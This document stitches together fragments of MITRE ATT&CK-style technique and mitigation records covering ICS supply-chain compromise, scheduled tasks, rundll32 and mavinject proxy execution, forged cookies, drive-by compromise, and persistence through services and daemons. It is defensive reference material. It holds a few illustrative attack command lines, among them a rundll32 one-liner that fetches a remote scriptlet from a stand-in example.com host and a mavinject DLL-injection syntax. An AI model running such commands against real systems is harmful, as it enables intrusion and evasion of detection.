attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment.\n\nCounterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk.\n\nYokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product.\n\nF-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Update Software**: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times. […]\n\n## Reference: ATT&CK T0863 User Execution\n**ATT&CK T0863 User Execution (full record).** Adversaries may rely on a targeted organizations user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents.\n\nAdversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software.\n\nA Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n- **Restrict Web-Based Content**: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.\n- **User Training**: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Antivirus/Antimalware**: Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems.\n- **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing. […]\n\n## Reference: ATT&CK T0864 Transient Cyber Asset\n**ATT&CK T0864 Transient Cyber Asset (full record).** Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required.\n\nAdversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices.\n\nTransient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Windows, Linux\n\n**Mitigations.** - **Encrypt Sensitive Information**: Protect sensitive data-at-rest with strong encryption.\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n- **Antivirus/Antimalware**: Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources.

Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).

There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a.NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).

Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.\n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.\n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.\n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.\n\n**Classification.** - Tactics: persistence\n- Platforms: Android\n- Sub-technique of: T1624 Event Triggered Execution - Adversaries may establish persistence using system mechanisms that trigger execution based on specific events.

This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Forged Web Cookies**\n  - Forged cookies in IaaS environments may appear as authentication attempts that bypass MFA, leveraging AssumeRole or session APIs with cookies that were never legitimately issued. Defenders should correlate cloud logs for cookie-based sessions without prior valid authentication, often followed by resource access from unfamiliar IP addresses. (telemetry: AWS:CloudTrail:Web console logins using session cookies without corresponding MFA event, AWS:CloudTrail:GetSessionToken, AssumeRoleWithWebIdentity)\n  - Forged web cookies on Windows endpoints can be detected by monitoring unusual modifications of browser cookie stores (e.g., Chrome SQLite DB, Edge cache) by processes outside of browsers, followed by authentication events to SaaS or IaaS services. Defenders may observe processes writing directly to cookie storage paths or injecting tokens into browser sessions. (telemetry: WinEventLog:Sysmon:EventCode=11, WinEventLog:Security:EventCode=4624, 4648)\n  - On Linux, defenders may observe forged cookie activity as unauthorized modifications to browser cookie databases (e.g., ~/.mozilla/firefox/*/cookies.sqlite, ~/.config/chromium/Default/Cookies) or scripted injection of session tokens. Suspicious usage includes curl/wget commands embedding forged cookies in headers, correlated with abnormal session activity in SaaS or IaaS logs. (telemetry: auditd:SYSCALL:Unusual processes accessing or modifying cookie databases, WinEventLog:Sysmon:EventCode=3, 22)\n  - Forged cookies on macOS may show up as abnormal access to Safari/Chrome cookie databases in ~/Library/Cookies, combined with unexpected logon sessions authenticated by those cookies. Unified Logs may show cookie injection events or abnormal access patterns to Keychain when linked to browser authentication flows.

Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write;GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"` This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., `zipfldr.dll, ieframe.dll`) with `rundll32.exe` to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones.

This may be achieved by running `verclsid.exe /S /C {CLSID}`, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32).

This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1218.013 Mavinject\n**ATT&CK T1218.013 Mavinject (full record).** Adversaries may abuse mavinject.exe to proxy execution of malicious code.

Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.\n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its `/HMODULE` command-line parameter (ex. `mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER`).

This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.

Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\n\n## Reference: ATT&CK M1014 Interconnection Filtering\n**ATT&CK M1014 Interconnection Filtering (full record).** In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests.\n\n**Counters techniques.** - T1430.002 Impersonate SS7 Nodes\n- T1430 Location Tracking\n\n## Reference: ATT&CK M1015 Active Directory Configuration\n**ATT&CK M1015 Active Directory Configuration (full record).** Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network. This mitigation can be implemented through the following measures:\n\nAccount Configuration:\n\n- Implementation: Use domain accounts instead of local accounts to leverage AD’s centralized management, including group policies, auditing, and access control.\n- Use Case: For IT staff managing shared resources, provision domain accounts that allow IT teams to log in centrally, reducing the risk of unmanaged, rogue local accounts on individual machines.\n\nInteractive Logon Restrictions:\n\n- Implementation: Configure group policies to restrict interactive logons (e.g., direct physical or RDP logons) for service accounts or privileged accounts that do not require such access.\n- Use Case: Prevent service accounts, such as SQL Server accounts, from having interactive logon privileges. This reduces the risk of these accounts being leveraged for lateral movement if compromised.\n\nRemote Desktop Settings:\n\n- Implementation: Limit Remote Desktop Protocol (RDP) access to specific, authorized accounts. Use group policies to enforce this, allowing only necessary users to establish RDP sessions.\n- Use Case: On sensitive servers (e.g., domain controllers or financial databases), restrict RDP access to administrative accounts only, while all other users are denied access.\n\nDedicated Administrative Accounts:\n\n- Implementation: Create domain-wide administrative accounts that are restricted from interactive logons, designed solely for high-level tasks (e.g., software installation, patching).\n- Use Case: Create separate administrative accounts for different purposes, such as one set of accounts for installations and another for managing repository access. This limits exposure and helps reduce attack vectors.\n\nAuthentication Silos:\n\n- Implementation: Configure Authentication Silos in AD, using group policies to create access zones with restrictions based on membership, such as the Protected Users security group. This restricts access to critical accounts and minimizes exposure to potential threats. […]\n\n## Reference: ATT&CK M1016 Vulnerability Scanning\n**ATT&CK M1016 Vulnerability Scanning (full record).** Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. The process helps prioritize remediation efforts by classifying vulnerabilities based on risk and impact, reducing the likelihood of exploitation by adversaries. This mitigation can be implemented through the following measures:\n\nProactive Identification of Vulnerabilities\n\n- Implementation: Use tools like Nessus or OpenVAS to scan endpoints, servers, and applications for missing patches and configuration issues. Schedule regular scans to ensure timely identification of vulnerabilities introduced by new deployments or updates.\n- Use Case: A scan identifies unpatched software, such as outdated Apache servers, which could be exploited via CVE-XXXX-XXXX. The server is promptly patched, mitigating the risk.\n\nCloud Environment Scanning\n\n- Implementation: Use cloud-specific vulnerability management tools like AWS Inspector, Azure Security Center, or GCP Security Command Center to identify issues like open S3 buckets or overly permissive IAM roles.\n- Use Case: The scan detects a misconfigured S3 bucket with public read access, which is remediated to prevent potential data leakage.\n\nNetwork Device Scanning\n\n- Implementation: Use tools to scan network devices for vulnerabilities, such as weak SNMP strings or outdated firmware. Correlate scan results with vendor advisories to prioritize updates.\n- Use Case: Scanning detects a router running outdated firmware vulnerable to CVE-XXXX-YYYY. The firmware is updated to a secure version.\n\nWeb Application Scanning\n\n- Implementation: Use dynamic application security testing (DAST) tools such as OWASP ZAP or Burp Suite to scan for common vulnerabilities like SQL injection or cross-site scripting (XSS). Perform regular scans post-deployment to identify newly introduced vulnerabilities.\n- Use Case: A scan identifies a cross-site scripting vulnerability in a form input field, which is promptly remediated by developers.\n\nPrioritizing Vulnerabilities\n\n- Implementation: Use vulnerability scoring frameworks like CVSS to assess severity.\nIntegrate vulnerability scanning tools with ticketing systems to assign remediation tasks based on criticality.

Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\nCreate Comprehensive Training Programs:\n\n- Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.\n- Provide role-specific training for high-risk employees, such as helpdesk staff or executives.\n\nUse Simulated Exercises:\n\n- Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.\n- Run social engineering drills to evaluate employee responses and reinforce protocols.\n\nLeverage Gamification and Engagement:\n\n- Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.\n\nIncorporate Security Policies into Onboarding:\n\n- Include cybersecurity training as part of the onboarding process for new employees.\n- Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.\n\nRegular Refresher Courses:\n\n- Update training materials to include emerging threats and techniques used by adversaries.\n- Ensure all employees complete periodic refresher courses to stay informed.\n\nEmphasize Real-World Scenarios:\n\n- Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.\n- Discuss how specific employee actions can prevent or mitigate such attacks.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.

When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.\n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW` (or manually via functions such as `ZwLoadDriver` and `ZwSetValueKey`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`. […]\n\n## Reference: ATT&CK T1543.004 Launch Daemon\n**ATT&CK T1543.004 Launch Daemon (full record).** Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in `/System/Library/LaunchDaemons/` and `/Library/LaunchDaemons/`. Required Launch Daemons parameters include a `Label` to identify the task, `Program` to provide a path to the executable, and `RunAtLoad` to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the `RunAtLoad` parameter set to `true` and the `Program` parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as `usr/local/bin` to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. […]\n\n## Reference: ATT&CK T1543.005 Container Service\n**ATT&CK T1543.005 Container Service (full record).** Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.\n\nFor example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host. A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.\n\nIn Kubernetes environments, DaemonSets allow an adversary to persistently Deploy Containers on all nodes, including ones added later to the cluster. Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.\n\nNote that containers can also be configured to run as Systemd Services.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Containers\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. […]\n\n## Reference: ATT&CK T1546 Event Triggered Execution\n**ATT&CK T1546 Event Triggered Execution (full record).** Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Linux, macOS, Windows, SaaS, IaaS, Office Suite\n\n**Sub-techniques.** - T1546.002 Screensaver: Adversaries may establish persistence by executing malicious content triggered by user inactivity.\n- T1546.013 PowerShell Profile: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.\n- T1546.016 Installer Packages: Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content.\n- T1546.003 Windows Management Instrumentation Event Subscription: Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.\n- T1546.006 LC_LOAD_DYLIB Addition: Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries.\n- T1546.018 Python Startup Hooks: Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules.\n- T1546.011 Application Shimming: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.

This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.\n\nThis technique could also be accomplished by compromising a developer’s account.

Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n\nRegular Operating System Updates\n\n- Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.\n- Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution.\n\nApplication Patching\n\n- Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.\n- Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches.\n\nFirmware Updates\n\n- Implementation: Regularly check the vendor’s website for firmware updates addressing vulnerabilities. Plan for update deployment during scheduled maintenance to minimize business disruption.\n- Use Case: Protects against vulnerabilities that adversaries could exploit to gain access to network devices or inject malicious traffic.\n\nEmergency Patch Deployment\n\n- Implementation: Use the emergency patch deployment feature of the organization's patch management tool to apply updates to all affected Exchange servers within 24 hours.\n- Use Case: Reduces the risk of exploitation by rapidly addressing critical vulnerabilities.\n\nCentralized Patch Management\n\n- Implementation: Implement a centralized patch management system, such as SCCM or ManageEngine, to automate and track patch deployment across all environments. Generate regular compliance reports to ensure all systems are updated.\n- Use Case: Streamlines patching processes and ensures no critical systems are missed.\n\n*Tools for Implementation*\n\nPatch Management Tools:\n\n- WSUS: Manage and deploy Microsoft updates across the organization.\n- ManageEngine Patch Manager Plus: Automate patch deployment for OS and third-party apps.\n- Ansible: Automate updates across multiple platforms, including Linux and Windows.\n\nVulnerability Scanning Tools:\n\n- OpenVAS: Open-source vulnerability scanning to identify missing patches.\n\n## Execution Prevention\nPrevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`)\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)\n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.\n\n## Application Isolation and Sandboxing\nApplication Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact.

Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.\n\nApplication Virtualization:\n\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\n\nEmail Attachment Sandboxing:\n\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\n\nEndpoint Sandboxing:\n\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.\n\n## Privileged Account Management\nPrivileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.\n\n## Disable or Remove Feature or Program\nDisable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe 